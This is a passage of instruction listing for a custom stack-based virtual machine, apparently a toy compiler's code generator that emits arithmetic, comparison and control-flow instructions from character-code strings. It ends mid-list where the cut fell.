makelist bp[111] [115,117,98,32] | |
add bp[112] bp[111] bp[7] | |
makelist bp[113] [32,48,32] | |
add bp[114] bp[112] bp[113] | |
get bp[115] bp[3] 0 | |
add bp[116] bp[114] bp[115] | |
push bp[116] | |
push 0 | |
call 1296 | |
pop bp[110] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[117] [78,111,116] | |
eq bp[118] bp[1] bp[117] | |
jz bp[118] 1664 | |
makelist bp[120] [101,113,32] | |
add bp[121] bp[120] bp[7] | |
makelist bp[122] [32] | |
add bp[123] bp[121] bp[122] | |
get bp[124] bp[3] 0 | |
add bp[125] bp[123] bp[124] | |
makelist bp[126] [32,48] | |
add bp[127] bp[125] bp[126] | |
push bp[127] | |
push 0 | |
call 1296 | |
pop bp[119] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[128] [43] | |
eq bp[129] bp[1] bp[128] | |
jz bp[129] 1683 | |
makelist bp[131] [97,100,100,32] | |
add bp[132] bp[131] bp[7] | |
makelist bp[133] [32] | |
add bp[134] bp[132] bp[133] | |
get bp[135] bp[3] 0 | |
add bp[136] bp[134] bp[135] | |
makelist bp[137] [32] | |
add bp[138] bp[136] bp[137] | |
get bp[139] bp[3] 1 | |
add bp[140] bp[138] bp[139] | |
push bp[140] | |
push 0 | |
call 1296 | |
pop bp[130] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[141] [45] | |
eq bp[142] bp[1] bp[141] | |
jz bp[142] 1702 | |
makelist bp[144] [115,117,98,32] | |
add bp[145] bp[144] bp[7] | |
makelist bp[146] [32] | |
add bp[147] bp[145] bp[146] | |
get bp[148] bp[3] 0 | |
add bp[149] bp[147] bp[148] | |
makelist bp[150] [32] | |
add bp[151] bp[149] bp[150] | |
get bp[152] bp[3] 1 | |
add bp[153] bp[151] bp[152] | |
push bp[153] | |
push 0 | |
call 1296 | |
pop bp[143] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[154] [42] | |
eq bp[155] bp[1] bp[154] | |
jz bp[155] 1721 | |
makelist bp[157] [109,117,108,32] | |
add bp[158] bp[157] bp[7] | |
makelist bp[159] [32] | |
add bp[160] bp[158] bp[159] | |
get bp[161] bp[3] 0 | |
add bp[162] bp[160] bp[161] | |
makelist bp[163] [32] | |
add bp[164] bp[162] bp[163] | |
get bp[165] bp[3] 1 | |
add bp[166] bp[164] bp[165] | |
push bp[166] | |
push 0 | |
call 1296 | |
pop bp[156] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[167] [47] | |
eq bp[168] bp[1] bp[167] | |
jz bp[168] 1740 | |
makelist bp[170] [100,105,118,32] | |
add bp[171] bp[170] bp[7] | |
makelist bp[172] [32] | |
add bp[173] bp[171] bp[172] | |
get bp[174] bp[3] 0 | |
add bp[175] bp[173] bp[174] | |
makelist bp[176] [32] | |
add bp[177] bp[175] bp[176] | |
get bp[178] bp[3] 1 | |
add bp[179] bp[177] bp[178] | |
push bp[179] | |
push 0 | |
call 1296 | |
pop bp[169] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[180] [37] | |
eq bp[181] bp[1] bp[180] | |
jz bp[181] 1787 | |
makelist bp[183] [100,105,118,32] | |
add bp[184] bp[183] bp[7] | |
makelist bp[185] [32] | |
add bp[186] bp[184] bp[185] | |
get bp[187] bp[3] 0 | |
add bp[188] bp[186] bp[187] | |
makelist bp[189] [32] | |
add bp[190] bp[188] bp[189] | |
get bp[191] bp[3] 1 | |
add bp[192] bp[190] bp[191] | |
push bp[192] | |
push 0 | |
call 1296 | |
pop bp[182] | |
sub sp sp 1 | |
makelist bp[194] [109,117,108,32] | |
add bp[195] bp[194] bp[7] | |
makelist bp[196] [32] | |
add bp[197] bp[195] bp[196] | |
add bp[198] bp[197] bp[7] | |
makelist bp[199] [32] | |
add bp[200] bp[198] bp[199] | |
get bp[201] bp[3] 1 | |
add bp[202] bp[200] bp[201] | |
push bp[202] | |
push 0 | |
call 1296 | |
pop bp[193] | |
sub sp sp 1 | |
makelist bp[204] [115,117,98,32] | |
add bp[205] bp[204] bp[7] | |
makelist bp[206] [32] | |
add bp[207] bp[205] bp[206] | |
get bp[208] bp[3] 0 | |
add bp[209] bp[207] bp[208] | |
makelist bp[210] [32] | |
add bp[211] bp[209] bp[210] | |
add bp[212] bp[211] bp[7] | |
push bp[212] | |
push 0 | |
call 1296 | |
pop bp[203] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[213] [60] | |
eq bp[214] bp[1] bp[213] | |
jz bp[214] 1806 | |
makelist bp[216] [108,116,32] | |
add bp[217] bp[216] bp[7] | |
makelist bp[218] [32] | |
add bp[219] bp[217] bp[218] | |
get bp[220] bp[3] 0 | |
add bp[221] bp[219] bp[220] | |
makelist bp[222] [32] | |
add bp[223] bp[221] bp[222] | |
get bp[224] bp[3] 1 | |
add bp[225] bp[223] bp[224] | |
push bp[225] | |
push 0 | |
call 1296 | |
pop bp[215] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[226] [62] | |
eq bp[227] bp[1] bp[226] | |
jz bp[227] 1825 | |
makelist bp[229] [108,116,32] | |
add bp[230] bp[229] bp[7] | |
makelist bp[231] [32] | |
add bp[232] bp[230] bp[231] | |
get bp[233] bp[3] 1 | |
add bp[234] bp[232] bp[233] | |
makelist bp[235] [32] | |
add bp[236] bp[234] bp[235] | |
get bp[237] bp[3] 0 | |
add bp[238] bp[236] bp[237] | |
push bp[238] | |
push 0 | |
call 1296 | |
pop bp[228] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[239] [60,61] | |
eq bp[240] bp[1] bp[239] | |
jz bp[240] 1854 | |
makelist bp[242] [108,116,32] | |
add bp[243] bp[242] bp[7] | |
makelist bp[244] [32] | |
add bp[245] bp[243] bp[244] | |
get bp[246] bp[3] 1 | |
add bp[247] bp[245] bp[246] | |
makelist bp[248] [32] | |
add bp[249] bp[247] bp[248] | |
get bp[250] bp[3] 0 | |
add bp[251] bp[249] bp[250] | |
push bp[251] | |
push 0 | |
call 1296 | |
pop bp[241] | |
sub sp sp 1 | |
makelist bp[253] [101,113,32] | |
add bp[254] bp[253] bp[7] | |
makelist bp[255] [32,48,32] | |
add bp[256] bp[254] bp[255] | |
add bp[257] bp[256] bp[7] | |
push bp[257] | |
push 0 | |
call 1296 | |
pop bp[252] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[258] [62,61] | |
eq bp[259] bp[1] bp[258] | |
jz bp[259] 1883 | |
makelist bp[261] [108,116,32] | |
add bp[262] bp[261] bp[7] | |
makelist bp[263] [32] | |
add bp[264] bp[262] bp[263] | |
get bp[265] bp[3] 0 | |
add bp[266] bp[264] bp[265] | |
makelist bp[267] [32] | |
add bp[268] bp[266] bp[267] | |
get bp[269] bp[3] 1 | |
add bp[270] bp[268] bp[269] | |
push bp[270] | |
push 0 | |
call 1296 | |
pop bp[260] | |
sub sp sp 1 | |
makelist bp[272] [101,113,32] | |
add bp[273] bp[272] bp[7] | |
makelist bp[274] [32,48,32] | |
add bp[275] bp[273] bp[274] | |
add bp[276] bp[275] bp[7] | |
push bp[276] | |
push 0 | |
call 1296 | |
pop bp[271] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[277] [61,61] | |
eq bp[278] bp[1] bp[277] | |
jz bp[278] 1902 | |
makelist bp[280] [101,113,32] | |
add bp[281] bp[280] bp[7] | |
makelist bp[282] [32] | |
add bp[283] bp[281] bp[282] | |
get bp[284] bp[3] 0 | |
add bp[285] bp[283] bp[284] | |
makelist bp[286] [32] | |
add bp[287] bp[285] bp[286] | |
get bp[288] bp[3] 1 | |
add bp[289] bp[287] bp[288] | |
push bp[289] | |
push 0 | |
call 1296 | |
pop bp[279] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[290] [33,61] | |
eq bp[291] bp[1] bp[290] | |
jz bp[291] 1933 | |
makelist bp[293] [101,113,32] | |
add bp[294] bp[293] bp[7] | |
makelist bp[295] [32] | |
add bp[296] bp[294] bp[295] | |
get bp[297] bp[3] 0 | |
add bp[298] bp[296] bp[297] | |
makelist bp[299] [32] | |
add bp[300] bp[298] bp[299] | |
get bp[301] bp[3] 1 | |
add bp[302] bp[300] bp[301] | |
push bp[302] | |
push 0 | |
call 1296 | |
pop bp[292] | |
sub sp sp 1 | |
makelist bp[304] [101,113,32] | |
add bp[305] bp[304] bp[7] | |
makelist bp[306] [32] | |
add bp[307] bp[305] bp[306] | |
add bp[308] bp[307] bp[7] | |
makelist bp[309] [32,48] | |
add bp[310] bp[308] bp[309] | |
push bp[310] | |
push 0 | |
call 1296 | |
pop bp[303] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[311] [38,38] | |
eq bp[312] bp[1] bp[311] | |
jz bp[312] 1976 | |
makelist bp[314] [109,117,108,32] | |
add bp[315] bp[314] bp[7] | |
makelist bp[316] [32] | |
add bp[317] bp[315] bp[316] | |
get bp[318] bp[3] 0 | |
add bp[319] bp[317] bp[318] | |
makelist bp[320] [32] | |
add bp[321] bp[319] bp[320] | |
get bp[322] bp[3] 1 | |
add bp[323] bp[321] bp[322] | |
push bp[323] | |
push 0 | |
call 1296 | |
pop bp[313] | |
sub sp sp 1 | |
makelist bp[325] [101,113,32] | |
add bp[326] bp[325] bp[7] | |
makelist bp[327] [32] | |
add bp[328] bp[326] bp[327] | |
add bp[329] bp[328] bp[7] | |
makelist bp[330] [32,48] | |
add bp[331] bp[329] bp[330] | |
push bp[331] | |
push 0 | |
call 1296 | |
pop bp[324] | |
sub sp sp 1 | |
makelist bp[333] [101,113,32] | |
add bp[334] bp[333] bp[7] | |
makelist bp[335] [32] | |
add bp[336] bp[334] bp[335] | |
add bp[337] bp[336] bp[7] | |
makelist bp[338] [32,48] | |
add bp[339] bp[337] bp[338] | |
push bp[339] | |
push 0 | |
call 1296 | |
pop bp[332] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[340] [124,124] | |
eq bp[341] bp[1] bp[340] | |
jz bp[341] 2036 | |
push 0 | |
call 1351 | |
pop bp[342] | |
sub sp sp 0 | |
mov bp[9] bp[342] | |
makelist bp[344] [101,113,32] | |
add bp[345] bp[344] bp[7] | |
makelist bp[346] [32] | |
add bp[347] bp[345] bp[346] | |
get bp[348] bp[3] 0 | |
add bp[349] bp[347] bp[348] | |
makelist bp[350] [32,48] | |
add bp[351] bp[349] bp[350] | |
push bp[351] | |
push 0 | |
call 1296 | |
pop bp[343] | |
sub sp sp 1 | |
makelist bp[353] [101,113,32] | |
add bp[354] bp[353] bp[9] | |
makelist bp[355] [32] | |
add bp[356] bp[354] bp[355] | |
get bp[357] bp[3] 1 | |
add bp[358] bp[356] bp[357] | |
makelist bp[359] [32,48] | |
add bp[360] bp[358] bp[359] | |
push bp[360] | |
push 0 | |
call 1296 | |
pop bp[352] | |
sub sp sp 1 | |
makelist bp[362] [109,117,108,32] | |
add bp[363] bp[362] bp[7] | |
makelist bp[364] [32] | |
add bp[365] bp[363] bp[364] | |
add bp[366] bp[365] bp[7] | |
makelist bp[367] [32] | |
add bp[368] bp[366] bp[367] | |
add bp[369] bp[368] bp[9] | |
push bp[369] | |
push 0 | |
call 1296 | |
pop bp[361] | |
sub sp sp 1 | |
makelist bp[371] [101,113,32] | |
add bp[372] bp[371] bp[7] | |
makelist bp[373] [32] | |
add bp[374] bp[372] bp[373] | |
add bp[375] bp[374] bp[7] | |
makelist bp[376] [32,48] | |
add bp[377] bp[375] bp[376] | |
push bp[377] | |
push 0 | |
call 1296 | |
pop bp[370] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[378] [71,101,116] | |
eq bp[379] bp[1] bp[378] | |
jz bp[379] 2055 | |
makelist bp[381] [103,101,116,32] | |
add bp[382] bp[381] bp[7] | |
makelist bp[383] [32] | |
add bp[384] bp[382] bp[383] | |
get bp[385] bp[3] 0 | |
add bp[386] bp[384] bp[385] | |
makelist bp[387] [32] | |
add bp[388] bp[386] bp[387] | |
get bp[389] bp[3] 1 | |
add bp[390] bp[388] bp[389] | |
push bp[390] | |
push 0 | |
call 1296 | |
pop bp[380] | |
sub sp sp 1 | |
jz 0 2062 | |
makelist bp[392] [117,110,107,110,111,119,110,32,111,112,101,114,97,116,111,114,32] | |
add bp[393] bp[392] bp[1] | |
push bp[393] | |
push 0 | |
call 3 | |
pop bp[391] | |
sub sp sp 1 | |
mov bp[-2] bp[7] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 87 | |
mov bp[1] 0 | |
push bp[-3] | |
push 0 | |
len | |
pop bp[6] | |
sub sp sp 1 | |
lt bp[7] bp[1] bp[6] | |
jz bp[7] 2266 | |
get bp[8] bp[-3] bp[1] | |
mov bp[2] bp[8] | |
get bp[9] bp[2] 0 | |
makelist bp[10] [87,104,105,108,101] | |
eq bp[11] bp[9] bp[10] | |
jz bp[11] 2133 | |
mov bp[3] #2 | |
get bp[13] bp[2] 1 | |
push bp[13] | |
push 0 | |
call 1374 | |
pop bp[12] | |
sub sp sp 1 | |
mov bp[4] bp[12] | |
push 0 | |
call 1308 | |
pop bp[14] | |
sub sp sp 0 | |
mov bp[5] bp[14] | |
get bp[16] bp[2] 2 | |
push bp[16] | |
push 0 | |
call 2070 | |
pop bp[15] | |
sub sp sp 1 | |
makelist bp[18] [106,122,32,48,32] | |
push bp[3] | |
push 0 | |
call 162 | |
pop bp[19] | |
sub sp sp 1 | |
add bp[20] bp[18] bp[19] | |
push bp[20] | |
push 0 | |
call 1296 | |
pop bp[17] | |
sub sp sp 1 | |
makelist bp[21] [106,122,32] | |
add bp[22] bp[21] bp[4] | |
makelist bp[23] [32] | |
add bp[24] bp[22] bp[23] | |
push #2 | |
push 0 | |
call 162 | |
pop bp[25] | |
sub sp sp 1 | |
add bp[26] bp[24] bp[25] | |
makelist bp[27] [bp[5],bp[26]] | |
makelist bp[28] [bp[27]] | |
add bp[29] #4 bp[28] | |
mov #4 bp[29] | |
jz 0 2263 | |
get bp[30] bp[2] 0 | |
makelist bp[31] [73,102] | |
eq bp[32] bp[30] bp[31] | |
jz bp[32] 2192 | |
get bp[34] bp[2] 1 | |
push bp[34] | |
push 0 | |
call 1374 | |
pop bp[33] | |
sub sp sp 1 | |
mov bp[4] bp[33] | |
push 0 | |
call 1308 | |
pop bp[35] | |
sub sp sp 0 | |
mov bp[3] bp[35] | |
get bp[37] bp[2] 2 | |
push bp[37] | |
push 0 | |
call 2070 | |
pop bp[36] | |
sub sp sp 1 | |
push 0 | |
call 1308 | |
pop bp[38] | |
sub sp sp 0 | |
mov bp[5] bp[38] | |
makelist bp[39] [106,122,32] | |
add bp[40] bp[39] bp[4] | |
makelist bp[41] [32] | |
add bp[42] bp[40] bp[41] | |
push #2 | |
push 0 | |
call 162 | |
pop bp[43] | |
sub sp sp 1 | |
add bp[44] bp[42] bp[43] | |
makelist bp[45] [bp[3],bp[44]] | |
makelist bp[46] [bp[45]] | |
add bp[47] #4 bp[46] | |
mov #4 bp[47] | |
get bp[49] bp[2] 3 | |
push bp[49] | |
push 0 | |
call 2070 | |
pop bp[48] | |
sub sp sp 1 | |
makelist bp[50] [106,122,32,48,32] | |
push #2 | |
push 0 | |
call 162 | |
pop bp[51] | |
sub sp sp 1 | |
add bp[52] bp[50] bp[51] | |
makelist bp[53] [bp[5],bp[52]] | |
makelist bp[54] [bp[53]] | |
add bp[55] #4 bp[54] | |
mov #4 bp[55] | |
jz 0 2263 | |
get bp[56] bp[2] 0 | |
makelist bp[57] [82,101,116,117,114,110] | |
eq bp[58] bp[56] bp[57] | |
jz bp[58] 2215 | |
get bp[60] bp[2] 1 | |
push bp[60] | |
push 0 | |
call 1374 | |
pop bp[59] | |
sub sp sp 1 | |
mov bp[4] bp[59] | |
makelist bp[62] [109,111,118,32,98,112,91,45,50,93,32] | |
add bp[63] bp[62] bp[4] | |
push bp[63] | |
push 0 | |
call 1296 | |
pop bp[61] | |
sub sp sp 1 | |
push 0 | |
call 1326 | |
pop bp[64] | |
sub sp sp 0 | |
jz 0 2263 | |
get bp[65] bp[2] 0 | |
makelist bp[66] [65,115,115,105,103,110] | |
eq bp[67] bp[65] bp[66] | |
jz bp[67] 2244 | |
get bp[69] bp[2] 2 | |
push bp[69] | |
push 0 | |
call 1374 | |
pop bp[68] | |
sub sp sp 1 | |
mov bp[4] bp[68] | |
makelist bp[71] [109,111,118,32] | |
push #8 | |
get bp[73] bp[2] 1 | |
push bp[73] | |
push 0 | |
call 89 | |
pop bp[72] | |
sub sp sp 2 | |
add bp[74] bp[71] bp[72] | |
makelist bp[75] [32] | |
add bp[76] bp[74] bp[75] | |
add bp[77] bp[76] bp[4] | |
push bp[77] | |
push 0 | |
call 1296 | |
pop bp[70] | |
sub sp sp 1 | |
jz 0 2263 | |
get bp[78] bp[2] 0 | |
makelist bp[79] [69,120,112,114] | |
eq bp[80] bp[78] bp[79] | |
jz bp[80] 2255 | |
get bp[82] bp[2] 1 | |
push bp[82] | |
push 0 | |
call 1374 | |
pop bp[81] | |
sub sp sp 1 | |
jz 0 2263 | |
makelist bp[84] [117,110,107,110,111,119,110,32,115,116,97,116,101,109,101,110,116,32,116,121,112,101] | |
get bp[85] bp[2] 0 | |
add bp[86] bp[84] bp[85] | |
push bp[86] | |
push 0 | |
call 3 | |
pop bp[83] | |
sub sp sp 1 | |
add bp[87] bp[1] 1 | |
mov bp[1] bp[87] | |
jz 0 2074 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 30 | |
mov bp[1] 0 | |
push bp[-5] | |
push 0 | |
len | |
pop bp[4] | |
sub sp sp 1 | |
lt bp[5] bp[1] bp[4] | |
jz bp[5] 2345 | |
get bp[6] bp[-5] bp[1] | |
mov bp[2] bp[6] | |
get bp[7] bp[2] 0 | |
makelist bp[8] [87,104,105,108,101] | |
eq bp[9] bp[7] bp[8] | |
jz bp[9] 2297 | |
get bp[11] bp[2] 2 | |
push bp[11] | |
push bp[-4] | |
push bp[-3] | |
push 0 | |
call 2270 | |
pop bp[10] | |
sub sp sp 3 | |
mov bp[-3] bp[10] | |
jz 0 2342 | |
get bp[12] bp[2] 0 | |
makelist bp[13] [73,102] | |
eq bp[14] bp[12] bp[13] | |
jz bp[14] 2320 | |
get bp[16] bp[2] 2 | |
push bp[16] | |
push bp[-4] | |
push bp[-3] | |
push 0 | |
call 2270 | |
pop bp[15] | |
sub sp sp 3 | |
mov bp[-3] bp[15] | |
get bp[18] bp[2] 3 | |
push bp[18] | |
push bp[-4] | |
push bp[-3] | |
push 0 | |
call 2270 | |
pop bp[17] | |
sub sp sp 3 | |
mov bp[-3] bp[17] | |
jz 0 2342 | |
get bp[19] bp[2] 0 | |
makelist bp[20] [65,115,115,105,103,110] | |
eq bp[21] bp[19] bp[20] | |
jz bp[21] 2342 | |
get bp[22] bp[2] 1 | |
mov bp[3] bp[22] | |
add bp[24] bp[-4] #10 | |
add bp[25] bp[24] bp[-3] | |
push bp[25] | |
push bp[3] | |
push 0 | |
call 18 | |
pop bp[23] | |
sub sp sp 2 | |
sub bp[26] 0 1 | |
eq bp[27] bp[23] bp[26] | |
jz bp[27] 2341 | |
makelist bp[28] [bp[3]] | |
add bp[29] bp[-3] bp[28] | |
mov bp[-3] bp[29] | |
jz 0 2341 | |
jz 0 2342 | |
add bp[30] bp[1] 1 | |
mov bp[1] bp[30] | |
jz 0 2274 | |
mov bp[-2] bp[-3] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 71 | |
push bp[-3] | |
push bp[-4] | |
makelist bp[5] [] | |
push bp[5] | |
push 0 | |
call 2270 | |
pop bp[4] | |
sub sp sp 3 | |
mov bp[1] bp[4] | |
makelist bp[6] [bp[-5],#2] | |
makelist bp[7] [bp[6]] | |
add bp[8] #7 bp[7] | |
mov #7 bp[8] | |
makelist bp[10] [112,117,115,104,32,98,112] | |
push bp[10] | |
push 0 | |
call 1296 | |
pop bp[9] | |
sub sp sp 1 | |
makelist bp[12] [109,111,118,32,98,112,32,115,112] | |
push bp[12] | |
push 0 | |
call 1296 | |
pop bp[11] | |
sub sp sp 1 | |
push 0 | |
call 1308 | |
pop bp[13] | |
sub sp sp 0 | |
mov bp[2] bp[13] | |
makelist bp[14] [] | |
mov #8 bp[14] | |
mov bp[3] 0 | |
push bp[-4] | |
push 0 | |
len | |
pop bp[15] | |
sub sp sp 1 | |
lt bp[16] bp[3] bp[15] | |
jz bp[16] 2422 | |
push bp[-4] | |
push 0 | |
len | |
pop bp[17] | |
sub sp sp 1 | |
sub bp[18] bp[17] bp[3] | |
sub bp[19] bp[18] 1 | |
get bp[20] bp[-4] bp[19] | |
makelist bp[21] [98,112,91] | |
sub bp[23] 0 bp[3] | |
sub bp[24] bp[23] 3 | |
push bp[24] | |
push 0 | |
call 162 | |
pop bp[22] | |
sub sp sp 1 | |
add bp[25] bp[21] bp[22] | |
makelist bp[26] [93] | |
add bp[27] bp[25] bp[26] | |
makelist bp[28] [bp[20],bp[27]] | |
makelist bp[29] [bp[28]] | |
add bp[30] #8 bp[29] | |
mov #8 bp[30] | |
add bp[31] bp[3] 1 | |
mov bp[3] bp[31] | |
jz 0 2389 | |
mov bp[3] 0 | |
push #10 | |
push 0 | |
len | |
pop bp[32] | |
sub sp sp 1 | |
lt bp[33] bp[3] bp[32] | |
jz bp[33] 2456 | |
push bp[-4] | |
get bp[35] #10 bp[3] | |
push bp[35] | |
push 0 | |
call 18 | |
pop bp[34] | |
sub sp sp 2 | |
sub bp[36] 0 1 | |
eq bp[37] bp[34] bp[36] | |
jz bp[37] 2453 | |
get bp[38] #10 bp[3] | |
makelist bp[39] [35] | |
push bp[3] | |
push 0 | |
call 162 | |
pop bp[40] | |
sub sp sp 1 | |
add bp[41] bp[39] bp[40] | |
makelist bp[42] [bp[38],bp[41]] | |
makelist bp[43] [bp[42]] | |
add bp[44] #8 bp[43] | |
mov #8 bp[44] | |
jz 0 2453 | |
add bp[45] bp[3] 1 | |
mov bp[3] bp[45] | |
jz 0 2423 | |
mov bp[3] 0 | |
push bp[1] | |
push 0 | |
len | |
pop bp[46] | |
sub sp sp 1 | |
lt bp[47] bp[3] bp[46] | |
jz bp[47] 2482 | |
get bp[48] bp[1] bp[3] | |
makelist bp[49] [98,112,91] | |
add bp[51] bp[3] 1 | |
push bp[51] | |
push 0 | |
call 162 | |
pop bp[50] | |
sub sp sp 1 | |
add bp[52] bp[49] bp[50] | |
makelist bp[53] [93] | |
add bp[54] bp[52] bp[53] | |
makelist bp[55] [bp[48],bp[54]] | |
makelist bp[56] [bp[55]] | |
add bp[57] #8 bp[56] | |
mov #8 bp[57] | |
add bp[58] bp[3] 1 | |
mov bp[3] bp[58] | |
jz 0 2457 | |
push bp[1] | |
push 0 | |
len | |
pop bp[59] | |
sub sp sp 1 | |
add bp[60] bp[59] 1 | |
mov #9 bp[60] | |
push bp[-3] | |
push 0 | |
call 2070 | |
pop bp[61] | |
sub sp sp 1 | |
makelist bp[62] [97,100,100,32,115,112,32,115,112,32] | |
sub bp[64] #9 1 | |
push bp[64] | |
push 0 | |
call 162 | |
pop bp[63] | |
sub sp sp 1 | |
add bp[65] bp[62] bp[63] | |
makelist bp[66] [bp[2],bp[65]] | |
makelist bp[67] [bp[66]] | |
add bp[68] #4 bp[67] | |
mov #4 bp[68] | |
makelist bp[70] [109,111,118,32,98,112,91,45,50,93,32,48] | |
push bp[70] | |
push 0 | |
call 1296 | |
pop bp[69] | |
sub sp sp 1 | |
push 0 | |
call 1326 | |
pop bp[71] | |
sub sp sp 0 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 16 | |
makelist bp[3] [91] | |
get bp[5] bp[-3] 0 | |
push bp[5] | |
push 0 | |
call 162 | |
pop bp[4] | |
sub sp sp 1 | |
add bp[6] bp[3] bp[4] | |
mov bp[1] bp[6] | |
mov bp[2] 1 | |
push bp[-3] | |
push 0 | |
len | |
pop bp[7] | |
sub sp sp 1 | |
lt bp[8] bp[2] bp[7] | |
jz bp[8] 2553 | |
makelist bp[9] [44] | |
add bp[10] bp[1] bp[9] | |
get bp[12] bp[-3] bp[2] | |
push bp[12] | |
push 0 | |
call 162 | |
pop bp[11] | |
sub sp sp 1 | |
add bp[13] bp[10] bp[11] | |
mov bp[1] bp[13] | |
add bp[14] bp[2] 1 | |
mov bp[2] bp[14] | |
jz 0 2533 | |
makelist bp[15] [93] | |
add bp[16] bp[1] bp[15] | |
mov bp[1] bp[16] | |
mov bp[-2] bp[1] | |
mov sp bp | |
pop bp | |
ret | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
push bp | |
mov bp sp | |
add sp sp 138 | |
push 0 | |
call 304 | |
pop bp[8] | |
sub sp sp 0 | |
mov #0 bp[8] | |
get bp[9] #0 0 | |
makelist bp[10] [102,108,97,103] | |
eq bp[11] bp[9] bp[10] | |
jz bp[11] 2608 | |
makelist bp[13] [109,97,107,101,108,105,115,116,32,35,48,32] | |
get bp[15] #0 8 | |
push bp[15] | |
push 0 | |
call 2520 | |
pop bp[14] | |
sub sp sp 1 | |
add bp[16] bp[13] bp[14] | |
makelist bp[17] [10] | |
add bp[18] bp[16] bp[17] | |
makelist bp[19] [109,111,118,32,115,112,32,49] | |
add bp[20] bp[18] bp[19] | |
makelist bp[21] [10] | |
add bp[22] bp[20] bp[21] | |
makelist bp[23] [119,114,105,116,101] | |
add bp[24] bp[22] bp[23] | |
makelist bp[25] [10] | |
add bp[26] bp[24] bp[25] | |
makelist bp[27] [104,108,116] | |
add bp[28] bp[26] bp[27] | |
makelist bp[29] [10] | |
add bp[30] bp[28] bp[29] | |
push bp[30] | |
push 0 | |
write | |
pop bp[12] | |
sub sp sp 1 | |
mov bp[-2] 0 | |
mov sp bp | |
pop bp | |
ret | |
jz 0 2647 | |
get bp[31] #0 0 | |
makelist bp[32] [101,114,114,111,114] | |
eq bp[33] bp[31] bp[32] | |
jz bp[33] 2647 | |
makelist bp[34] [97,100,100,32,115,112,32,115,112,32,49,49,10,99,97,108,108,32,50,53,54,52,10,104,108,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,52,10,109,97,107,101,108,105,115,116,32,98,112,91,50,93,32,91,49,48,93,10,97,100,100,32,98,112,91,51,93,32,98,112,91,45,51,93,32,98,112,91,50,93,10,112,117,115,104,32,98,112,91,51,93,10,112,117,115,104,32,48,10,119,114,105,116,101,10,112,111,112,32,98,112,91,49,93,10,115,117,98,32,115,112,32,115,112,32,49,10,100,105,118,32,98,112,91,52,93,32,49,32,48,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,55,10,109,111,118,32,98,112,91,49,93,32,48,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,50,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,51,93,32,98,112,91,49,93,32,98,112,91,50,93,10,106,122,32,98,112,91,51,93,32,52,48,10,103,101,116,32,98,112,91,52,93,32,98,112,91,45,52,93,32,98,112,91,49,93,10,101,113,32,98,112,91,53,93,32,98,112,91,52,93,32,98,112,91,45,51,93,10,106,122,32,98,112,91,53,93,32,51,55,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,49,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,106,122,32,48,32,51,57,10,97,100,100,32,98,112,91,54,93,32,98,112,91,49,93,32,49,10,109,111,118,32,98,112,91,49,93,32,98,112,91,54,93,10,106,122,32,48,32,50,50,10,115,117,98,32,98,112,91,55,93,32,48,32,49,10,109,111,118,32,98,112,91,45,50,93,32,98,112,91,55,93,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,109,111,118,32,98,112,91,45,50,93,32,48,10,109,111,118,32,115,112,32,98,112,10,112,111,112,32,98,112,10,114,101,116,10,112,117,115,104,32,98,112,10,109,111,118,32,98,112,32,115,112,10,97,100,100,32,115,112,32,115,112,32,49,48,10,109,111,118,32,98,112,91,49,93,32,48,10,109,111,118,32,98,112,91,50,93,32,49,10,112,117,115,104,32,98,112,91,45,52,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,51,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,52,93,32,98,112,91,49,93,32,98,112,91,51,93,10,106,122,32,98,112,91,52,93,32,56,49,10,112,117,115,104,32,98,112,91,45,51,93,10,112,117,115,104,32,48,10,108,101,110,10,112,111,112,32,98,112,91,53,93,10,115,117,98,32,115,112,32,115,112,32,49,10,108,116,32,98,112,91,54,93,32,98,112,91,49,93,32,98,112,91,53,93,10,101,113,32,98,112,91,54,93,32,48,32,98,112,91,54,93,10,106,122,32,98,112,91,54,93,32,55,49,10,109,111,118,32,98,112,91,50,93,32,48,10,106,122,32,48,32,55,56,10,103,101,116,32,98,112,91,55,93,32,98,112,91,45,52,93,32,98,112,91,49,93,10,103,101,116,32,98,112,91,56,93,32,98,112,91,45,51,93,32,98,112,91,49,93,10,101,113,32,98,112,91,57,93,32,98,112,91,55,93,32,98,112,91,56,93,10,101,113,32,98,112,91,57,93,32,98,112,91,57,93,32,48,10,106,122,32,98,112,91,57,93,32,5